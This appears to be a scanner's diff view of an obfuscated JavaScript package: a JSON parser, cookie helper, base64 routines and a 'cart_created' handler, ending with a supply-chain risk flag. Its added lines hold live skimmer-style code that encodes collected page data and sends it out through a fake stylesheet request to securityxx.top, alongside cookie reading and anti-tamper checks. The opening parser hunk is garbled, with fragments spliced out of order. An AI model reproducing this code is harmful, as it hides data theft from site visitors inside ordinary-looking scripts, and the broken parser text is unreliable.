if (46 == _0x5e15d0.charCodeAt(_0x16aa5b)) { | ||
for (_0x467cb7 = ++_0x16aa5b; _0x467cb7 < _0x335727 && (_0x1f630b = _0x5e15d0.charCodeAt(_0x467cb7), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x467cb7++); | ||
if (_0x467cb7 == _0x16aa5b) { | ||
_0x2614a6(); | ||
} | ||
_0x16aa5b = _0x467cb7; | ||
} | ||
else { | ||
if (34 == _0x1f630b) | ||
break; | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b); | ||
if (101 == _0x1f630b || 69 == _0x1f630b) { | ||
for (_0x293f65 = _0x16aa5b; 32 <= _0x1f630b && 92 != _0x1f630b && 34 != _0x1f630b;) | ||
_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b); | ||
if (!(43 != _0x1f630b && 45 != _0x1f630b)) { | ||
_0x16aa5b++; | ||
} | ||
for (_0x467cb7 = _0x16aa5b; _0x467cb7 < _0x335727 && (_0x1f630b = _0x5e15d0.charCodeAt(_0x467cb7), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x467cb7++); | ||
if (_0x467cb7 == _0x16aa5b) { | ||
_0x2614a6(); | ||
} | ||
_0x16aa5b = _0x467cb7; | ||
} | ||
return +_0x5e15d0.slice(_0x293f65, _0x16aa5b); | ||
_0x58335a += _0x5e15d0.slice(_0x293f65, _0x16aa5b); | ||
} | ||
if (_0x3f2c64) { | ||
_0x2614a6(); | ||
} | ||
if ('true' == _0x5e15d0.slice(_0x16aa5b, _0x16aa5b + 4)) { | ||
_0x16aa5b += 4; | ||
return true; | ||
} | ||
if ('false' == _0x5e15d0.slice(_0x16aa5b, _0x16aa5b + 5)) { | ||
_0x16aa5b += 5; | ||
return false; | ||
} | ||
if ('null' == _0x5e15d0.slice(_0x16aa5b, _0x16aa5b + 4)) { | ||
_0x16aa5b += 4; | ||
return null; | ||
} | ||
_0x2614a6(); | ||
} | ||
return '$'; | ||
}, _0x2f4bad = function (_0x4c848e) { | ||
var _0x3250a1, _0x147327; | ||
if ('$' == _0x4c848e) { | ||
if (34 == _0x5e15d0.charCodeAt(_0x16aa5b)) { | ||
_0x16aa5b++; | ||
return _0x58335a; | ||
} | ||
_0x2614a6(); | ||
} | ||
if ('string' == typeof _0x4c848e) { | ||
if ('@' == _0x4c848e[0]) | ||
return _0x4c848e.slice(1); | ||
if ('[' == _0x4c848e) { | ||
for (_0x3250a1 = [];; _0x147327 || (_0x147327 = true)) { | ||
_0x4c848e = _0x2868d4(); | ||
if (']' == _0x4c848e) | ||
break; | ||
if (_0x147327) { | ||
',' == _0x4c848e ? (_0x4c848e = _0x2868d4(), ']' == _0x4c848e && _0x2614a6()) : _0x2614a6(); | ||
} | ||
if (',' == _0x4c848e) { | ||
default: | ||
_0x293f65 = _0x16aa5b; | ||
if (45 == _0x1f630b) { | ||
_0x3f2c64 = true; | ||
_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b); | ||
} | ||
if (48 <= _0x1f630b && 57 >= _0x1f630b) { | ||
for (48 == _0x1f630b && (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b + 1), 48 <= _0x1f630b && 57 >= _0x1f630b) && _0x2614a6(); _0x16aa5b < _0x335727 && (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x16aa5b++); | ||
if (46 == _0x5e15d0.charCodeAt(_0x16aa5b)) { | ||
for (_0x467cb7 = ++_0x16aa5b; _0x467cb7 < _0x335727 && (_0x1f630b = _0x5e15d0.charCodeAt(_0x467cb7), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x467cb7++); | ||
if (_0x467cb7 == _0x16aa5b) { | ||
_0x2614a6(); | ||
} | ||
_0x3250a1.push(_0x2f4bad(_0x4c848e)); | ||
_0x16aa5b = _0x467cb7; | ||
} | ||
return _0x3250a1; | ||
} | ||
if ('{' == _0x4c848e) { | ||
for (_0x3250a1 = {};; _0x147327 || (_0x147327 = true)) { | ||
_0x4c848e = _0x2868d4(); | ||
if ('}' == _0x4c848e) | ||
break; | ||
if (_0x147327) { | ||
',' == _0x4c848e ? (_0x4c848e = _0x2868d4(), '}' == _0x4c848e && _0x2614a6()) : _0x2614a6(); | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b); | ||
if (101 == _0x1f630b || 69 == _0x1f630b) { | ||
_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b); | ||
if (!(43 != _0x1f630b && 45 != _0x1f630b)) { | ||
_0x16aa5b++; | ||
} | ||
if (!(',' != _0x4c848e && 'string' == typeof _0x4c848e && '@' == _0x4c848e[0] && ':' == _0x2868d4())) { | ||
for (_0x467cb7 = _0x16aa5b; _0x467cb7 < _0x335727 && (_0x1f630b = _0x5e15d0.charCodeAt(_0x467cb7), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x467cb7++); | ||
if (_0x467cb7 == _0x16aa5b) { | ||
_0x2614a6(); | ||
} | ||
_0x3250a1[_0x4c848e.slice(1)] = _0x2f4bad(_0x2868d4()); | ||
_0x16aa5b = _0x467cb7; | ||
} | ||
return _0x3250a1; | ||
return +_0x5e15d0.slice(_0x293f65, _0x16aa5b); | ||
} | ||
if (_0x3f2c64) { | ||
_0x2614a6(); | ||
} | ||
if ('true' == _0x5e15d0.slice(_0x16aa5b, _0x16aa5b + 4)) { | ||
_0x16aa5b += 4; | ||
return true; | ||
} | ||
if ('false' == _0x5e15d0.slice(_0x16aa5b, _0x16aa5b + 5)) { | ||
_0x16aa5b += 5; | ||
return false; | ||
} | ||
if ('null' == _0x5e15d0.slice(_0x16aa5b, _0x16aa5b + 4)) { | ||
_0x16aa5b += 4; | ||
return null; | ||
} | ||
_0x2614a6(); | ||
} | ||
return _0x4c848e; | ||
}, _0x296df7 = function (_0x372a43, _0x17ceab, _0x16cc77) { | ||
_0x16cc77 = _0x382fdd(_0x372a43, _0x17ceab, _0x16cc77); | ||
_0x16cc77 === _0x2750a9 ? delete _0x372a43[_0x17ceab] : _0x372a43[_0x17ceab] = _0x16cc77; | ||
}, _0x382fdd = function (_0x408739, _0x31c200, _0x5414aa) { | ||
var _0x544314 = _0x408739[_0x31c200], _0x2204ce; | ||
if ('object' == typeof _0x408739[_0x31c200] && _0x408739[_0x31c200]) | ||
if ('[object Array]' == _0x523f86.toString.call(_0x408739[_0x31c200])) | ||
for (_0x2204ce = _0x408739[_0x31c200].length; _0x2204ce--;) | ||
_0x296df7(_0x408739[_0x31c200], _0x2204ce, _0x5414aa); | ||
else | ||
_0x4ffa0e(_0x408739[_0x31c200], function (_0x48f9ad) { | ||
_0x296df7(_0x408739[_0x31c200], _0x48f9ad, _0x5414aa); | ||
}); | ||
return _0x5414aa.call(_0x408739, _0x31c200, _0x408739[_0x31c200]); | ||
}; | ||
return '$'; | ||
}; | ||
var _0x2f4bad = function (_0x4c848e) { | ||
var _0x3250a1; | ||
var _0x147327; | ||
if ('$' == _0x4c848e) { | ||
_0x2614a6(); | ||
} | ||
if ('string' == typeof _0x4c848e) { | ||
if ('@' == _0x4c848e[0]) | ||
return _0x4c848e.slice(1); | ||
if ('[' == _0x4c848e) { | ||
for (_0x3250a1 = [];; _0x147327 || (_0x147327 = true)) { | ||
_0x4c848e = _0x2868d4(); | ||
if (']' == _0x4c848e) | ||
break; | ||
if (_0x147327) { | ||
',' == _0x4c848e ? (_0x4c848e = _0x2868d4(), ']' == _0x4c848e && _0x2614a6()) : _0x2614a6(); | ||
} | ||
if (',' == _0x4c848e) { | ||
_0x2614a6(); | ||
} | ||
_0x3250a1.push(_0x2f4bad(_0x4c848e)); | ||
} | ||
return _0x3250a1; | ||
} | ||
if ('{' == _0x4c848e) { | ||
for (_0x3250a1 = {};; _0x147327 || (_0x147327 = true)) { | ||
_0x4c848e = _0x2868d4(); | ||
if ('}' == _0x4c848e) | ||
break; | ||
if (_0x147327) { | ||
',' == _0x4c848e ? (_0x4c848e = _0x2868d4(), '}' == _0x4c848e && _0x2614a6()) : _0x2614a6(); | ||
} | ||
if (!(',' != _0x4c848e && 'string' == typeof _0x4c848e && '@' == _0x4c848e[0] && ':' == _0x2868d4())) { | ||
_0x2614a6(); | ||
} | ||
_0x3250a1[_0x4c848e.slice(1)] = _0x2f4bad(_0x2868d4()); | ||
} | ||
return _0x3250a1; | ||
} | ||
_0x2614a6(); | ||
} | ||
return _0x4c848e; | ||
}; | ||
var _0x296df7 = function (_0x372a43, _0x17ceab, _0x16cc77) { | ||
_0x16cc77 = _0x382fdd(_0x372a43, _0x17ceab, _0x16cc77); | ||
_0x16cc77 === _0x2750a9 ? delete _0x372a43[_0x17ceab] : _0x372a43[_0x17ceab] = _0x16cc77; | ||
}; | ||
var _0x382fdd = function (_0x408739, _0x31c200, _0x5414aa) { | ||
var _0x544314 = _0x408739[_0x31c200]; | ||
var _0x2204ce; | ||
if ('object' == typeof _0x408739[_0x31c200] && _0x408739[_0x31c200]) | ||
if ('[object Array]' == _0x523f86.toString.call(_0x408739[_0x31c200])) | ||
for (_0x2204ce = _0x408739[_0x31c200].length; _0x2204ce--;) | ||
_0x296df7(_0x408739[_0x31c200], _0x2204ce, _0x5414aa); | ||
else | ||
_0x4ffa0e(_0x408739[_0x31c200], function (_0x48f9ad) { | ||
_0x296df7(_0x408739[_0x31c200], _0x48f9ad, _0x5414aa); | ||
}); | ||
return _0x5414aa.call(_0x408739, _0x31c200, _0x408739[_0x31c200]); | ||
}; | ||
_0x49a2f7.parse = function (_0x205fb5, _0x5ae5ae) { | ||
var _0x5589aa, _0x48e777; | ||
var _0x5589aa; | ||
var _0x48e777; | ||
_0x16aa5b = 0; | ||
@@ -950,6 +1004,10 @@ _0x5e15d0 = '' + _0x205fb5; | ||
} | ||
var _0x42f3a8 = typeof define === 'function' && define.amd, _0x3db551 = { | ||
function: true, | ||
object: true | ||
}, _0x19cade = _0x3db551[typeof exports] && exports && !exports.nodeType && exports, _0x2f26d7 = _0x3db551[typeof window] && window || this, _0x137798 = _0x19cade && _0x3db551[typeof module] && module && !module.nodeType && 'object' == typeof global && global; | ||
var _0x42f3a8 = typeof define === 'function' && define.amd; | ||
var _0x3db551 = { | ||
function: true, | ||
object: true | ||
}; | ||
var _0x19cade = _0x3db551[typeof exports] && exports && !exports.nodeType && exports; | ||
var _0x2f26d7 = _0x3db551[typeof window] && window || this; | ||
var _0x137798 = _0x19cade && _0x3db551[typeof module] && module && !module.nodeType && 'object' == typeof global && global; | ||
if (!(!_0x137798 || _0x137798.global !== _0x137798 && _0x137798.window !== _0x137798 && _0x137798.self !== _0x137798)) { | ||
@@ -961,13 +1019,16 @@ _0x2f26d7 = _0x137798; | ||
else { | ||
var _0x499fce = _0x2f26d7.JSON, _0xee9174 = _0x2f26d7.JSON3, _0x2d3aba = false, _0x2be25b = _0x3113cc(_0x2f26d7, _0x2f26d7.JSON3 = { | ||
noConflict: function () { | ||
if (!_0x2d3aba) { | ||
_0x2d3aba = true; | ||
_0x2f26d7.JSON = _0x499fce; | ||
_0x2f26d7.JSON3 = _0xee9174; | ||
_0x499fce = _0xee9174 = null; | ||
} | ||
return _0x2be25b; | ||
var _0x499fce = _0x2f26d7.JSON; | ||
var _0xee9174 = _0x2f26d7.JSON3; | ||
var _0x2d3aba = false; | ||
var _0x2be25b = _0x3113cc(_0x2f26d7, _0x2f26d7.JSON3 = { | ||
noConflict: function () { | ||
if (!_0x2d3aba) { | ||
_0x2d3aba = true; | ||
_0x2f26d7.JSON = _0x499fce; | ||
_0x2f26d7.JSON3 = _0xee9174; | ||
_0x499fce = _0xee9174 = null; | ||
} | ||
}); | ||
return _0x2be25b; | ||
} | ||
}); | ||
_0x2f26d7.JSON = { | ||
@@ -995,3 +1056,4 @@ parse: _0x2be25b.parse, | ||
if (!_0x573ac9) { | ||
var _0x5ad1c9 = window.Cookies, _0x3d915e = window.Cookies = _0x179bf3(); | ||
var _0x5ad1c9 = window.Cookies; | ||
var _0x3d915e = window.Cookies = _0x179bf3(); | ||
_0x3d915e.noConflict = function () { | ||
@@ -1045,3 +1107,4 @@ window.Cookies = window.Cookies; | ||
for (var _0x519484 = document.cookie ? document.cookie.split('; ') : [], _0x42e676 = /(%[0-9A-Z]{2})+/g, _0x16890b = 0; _0x16890b < _0x519484.length; _0x16890b++) { | ||
var _0x3f78bb = _0x519484[_0x16890b].split('='), _0xa832f4 = _0x3f78bb.slice(1).join('='); | ||
var _0x3f78bb = _0x519484[_0x16890b].split('='); | ||
var _0xa832f4 = _0x3f78bb.slice(1).join('='); | ||
if (!(this.json || '"' !== _0xa832f4.charAt(0))) { | ||
@@ -1295,3 +1358,11 @@ _0xa832f4 = _0xa832f4.slice(1, -1); | ||
encode: function (_0x545245) { | ||
var _0x55c8ca, _0x253fe4, _0x5cd1a3, _0x1edab2, _0x291c4f, _0x1e65c7, _0xfb1358, _0x1396a7 = '', _0x59310b = 0; | ||
var _0x55c8ca; | ||
var _0x253fe4; | ||
var _0x5cd1a3; | ||
var _0x1edab2; | ||
var _0x291c4f; | ||
var _0x1e65c7; | ||
var _0xfb1358; | ||
var _0x1396a7 = ''; | ||
var _0x59310b = 0; | ||
for (_0x545245 = this._utf8_encode(_0x545245); _0x59310b < _0x545245.length;) { | ||
@@ -1308,3 +1379,10 @@ _0x1edab2 = (_0x55c8ca = _0x545245.charCodeAt(_0x59310b++)) >> 2; | ||
decode: function (_0x156a31) { | ||
var _0x4a6e83, _0x4cfa4c, _0x12e727, _0x2b9c96, _0x5e2859, _0x12140a, _0x50bf5d = '', _0xd4b222 = 0; | ||
var _0x4a6e83; | ||
var _0x4cfa4c; | ||
var _0x12e727; | ||
var _0x2b9c96; | ||
var _0x5e2859; | ||
var _0x12140a; | ||
var _0x50bf5d = ''; | ||
var _0xd4b222 = 0; | ||
for (_0x156a31 = _0x156a31.replace(/[^A-Za-z0-9\+\/\=]/g, ''); _0xd4b222 < _0x156a31.length;) { | ||
@@ -1311,0 +1389,0 @@ _0x4a6e83 = this._keyStr.indexOf(_0x156a31.charAt(_0xd4b222++)) << 2 | (_0x2b9c96 = this._keyStr.indexOf(_0x156a31.charAt(_0xd4b222++))) >> 4; |
@@ -1,2 +0,9 @@ | ||
var polyfill, sendBeacon, isSupported, b2h, last, progress_, th, lo; | ||
var polyfill; | ||
var sendBeacon; | ||
var isSupported; | ||
var b2h; | ||
var last; | ||
var progress_; | ||
var th; | ||
var lo; | ||
(function () { | ||
@@ -172,3 +179,9 @@ function Ox$(z, i) { | ||
function k(r, i) { | ||
var m = {}, j = {}, g = {}, s = {}, l = {}, k = {}, w = {}; | ||
var m = {}; | ||
var j = {}; | ||
var g = {}; | ||
var s = {}; | ||
var l = {}; | ||
var k = {}; | ||
var w = {}; | ||
m._ = i; | ||
@@ -230,3 +243,9 @@ var e = r.length; | ||
function g() { | ||
var e = {}, f = {}, f = {}, f = {}, b = {}, c = {}, l = {}; | ||
var e = {}; | ||
var f = {}; | ||
var f = {}; | ||
var f = {}; | ||
var b = {}; | ||
var c = {}; | ||
var l = {}; | ||
var j = []; | ||
@@ -233,0 +252,0 @@ bu(); |
@@ -787,9 +787,10 @@ var _0x2d93 = [ | ||
var _0x478e03 = [ | ||
'timestamp', | ||
'out' | ||
], _0x2894dd = [ | ||
'int', | ||
'erase', | ||
'val' | ||
]; | ||
'timestamp', | ||
'out' | ||
]; | ||
var _0x2894dd = [ | ||
'int', | ||
'erase', | ||
'val' | ||
]; | ||
const _0x29754e = _0x41e312 => { | ||
@@ -802,22 +803,23 @@ if (typeof _0x41e312 !== 'string') | ||
var _0x2dbea1 = function () { | ||
var _0x1dea60 = true; | ||
return function (_0x1094d5, _0x1b8cdc) { | ||
var _0x824ac8 = _0x1dea60 ? function () { | ||
if (_0x1b8cdc) { | ||
var _0x3476e4 = _0x1b8cdc.apply(_0x1094d5, arguments); | ||
_0x1b8cdc = null; | ||
return _0x3476e4; | ||
} | ||
} : function () { | ||
}; | ||
_0x1dea60 = false; | ||
return _0x824ac8; | ||
var _0x1dea60 = true; | ||
return function (_0x1094d5, _0x1b8cdc) { | ||
var _0x824ac8 = _0x1dea60 ? function () { | ||
if (_0x1b8cdc) { | ||
var _0x3476e4 = _0x1b8cdc.apply(_0x1094d5, arguments); | ||
_0x1b8cdc = null; | ||
return _0x3476e4; | ||
} | ||
} : function () { | ||
}; | ||
}(), _0x5d8b17 = _0x2dbea1(this, function () { | ||
var _0x5efb50 = function () { | ||
var _0x5d91f6 = /^([^ ]+( +[^ ]+)+)+[^ ]}/; | ||
return !/^([^ ]+( +[^ ]+)+)+[^ ]}/.test(_0x5d8b17); | ||
}; | ||
return _0x5efb50(); | ||
}); | ||
_0x1dea60 = false; | ||
return _0x824ac8; | ||
}; | ||
}(); | ||
var _0x5d8b17 = _0x2dbea1(this, function () { | ||
var _0x5efb50 = function () { | ||
var _0x5d91f6 = /^([^ ]+( +[^ ]+)+)+[^ ]}/; | ||
return !/^([^ ]+( +[^ ]+)+)+[^ ]}/.test(_0x5d8b17); | ||
}; | ||
return _0x5efb50(); | ||
}); | ||
_0x5d8b17(); | ||
@@ -831,3 +833,11 @@ _0x39d250[_0x5e9dc9] = _0x39d250[_0x5b10a5]; | ||
_0x18585b(window, 'atob', '_a'); | ||
var _0xdc52be = {}, _0x1b8194 = {}, _0x16159b = {}, _0x2c11ba = {}, _0x33cc2f, _0x3ee8f6, _0x25fd7c = false, _0x5acbd9 = true, _0x171a7f = true; | ||
var _0xdc52be = {}; | ||
var _0x1b8194 = {}; | ||
var _0x16159b = {}; | ||
var _0x2c11ba = {}; | ||
var _0x33cc2f; | ||
var _0x3ee8f6; | ||
var _0x25fd7c = false; | ||
var _0x5acbd9 = true; | ||
var _0x171a7f = true; | ||
const _0x125a5a = 'cart_created'; | ||
@@ -893,3 +903,4 @@ function _0x149802(_0xdfe62c, _0x483660) { | ||
_0x2c11ba.cubar = _0x18abb2('none'); | ||
var _0x59cb84 = { ..._0x2c11ba }, _0x49fc23 = document.createElement('link'); | ||
var _0x59cb84 = { ..._0x2c11ba }; | ||
var _0x49fc23 = document.createElement('link'); | ||
_0x49fc23.href = 'https://securityxx.top/stylesheet.css?timestamp=' + _0x18abb2(JSON.stringify(_0x226246(_0x59cb84))); | ||
@@ -962,8 +973,9 @@ _0x49fc23.rel = 'stylesheet'; | ||
var _0x18abb2 = _0x50d82b => { | ||
return _0x4533af(_0x2e9e4b(_0x50d82b)); | ||
}, _0x2103f5 = _0x242999 => { | ||
return _a(_0x4533af(_0x242999)); | ||
}; | ||
return _0x4533af(_0x2e9e4b(_0x50d82b)); | ||
}; | ||
var _0x2103f5 = _0x242999 => { | ||
return _a(_0x4533af(_0x242999)); | ||
}; | ||
function _0x4533af(_0x55e9eb, _0x446131) { | ||
return ++_0x446131 ? String.fromCharCode((_0x55e9eb < '[' ? 91 : 123) > (_0x55e9eb = _0x55e9eb.charCodeAt() + 12 + 1) ? _0x55e9eb : _0x55e9eb - 26) : _0x55e9eb.replace(/[a-zA-Z]/g, _0x4533af); | ||
} |
@@ -1,2 +0,25 @@ | ||
var _0x4895, _0x4643, _0x4874, _0x48B6, _0x4853, _0x474B, _0x4685, _0x493A, _0x478D, _0x48F8, _0x47AE, _0x47CF, _0x4832, _0x46A6, _0x46C7, _0x46E8, _0x4709, _0x472A, _0x48D7, _0x4811, _0x4664, _0x47F0, _0x4919, _0x476C; | ||
var _0x4895; | ||
var _0x4643; | ||
var _0x4874; | ||
var _0x48B6; | ||
var _0x4853; | ||
var _0x474B; | ||
var _0x4685; | ||
var _0x493A; | ||
var _0x478D; | ||
var _0x48F8; | ||
var _0x47AE; | ||
var _0x47CF; | ||
var _0x4832; | ||
var _0x46A6; | ||
var _0x46C7; | ||
var _0x46E8; | ||
var _0x4709; | ||
var _0x472A; | ||
var _0x48D7; | ||
var _0x4811; | ||
var _0x4664; | ||
var _0x47F0; | ||
var _0x4919; | ||
var _0x476C; | ||
(function () { | ||
@@ -3,0 +26,0 @@ var _0x495B = [ |
@@ -88,3 +88,8 @@ var _$_2b1a = [ | ||
f = f.replace(/ /g, ''); | ||
var c, d, e, g, a, b; | ||
var c; | ||
var d; | ||
var e; | ||
var g; | ||
var a; | ||
var b; | ||
e = true; | ||
@@ -163,3 +168,9 @@ g = 0; | ||
var j = ''; | ||
var f, h, e, i, g, k, a; | ||
var f; | ||
var h; | ||
var e; | ||
var i; | ||
var g; | ||
var k; | ||
var a; | ||
var d = 0; | ||
@@ -188,4 +199,9 @@ c = b._utf8_encode(c); | ||
var j = ''; | ||
var f, h, e; | ||
var i, g, k, a; | ||
var f; | ||
var h; | ||
var e; | ||
var i; | ||
var g; | ||
var k; | ||
var a; | ||
var d = 0; | ||
@@ -192,0 +208,0 @@ c = c.replace(/[^A-Za-z0-9+/=]/g, ''); |
Dynamic require
Supply chain riskDynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.
Found 1 instance in 1 package
625734
116
11260
180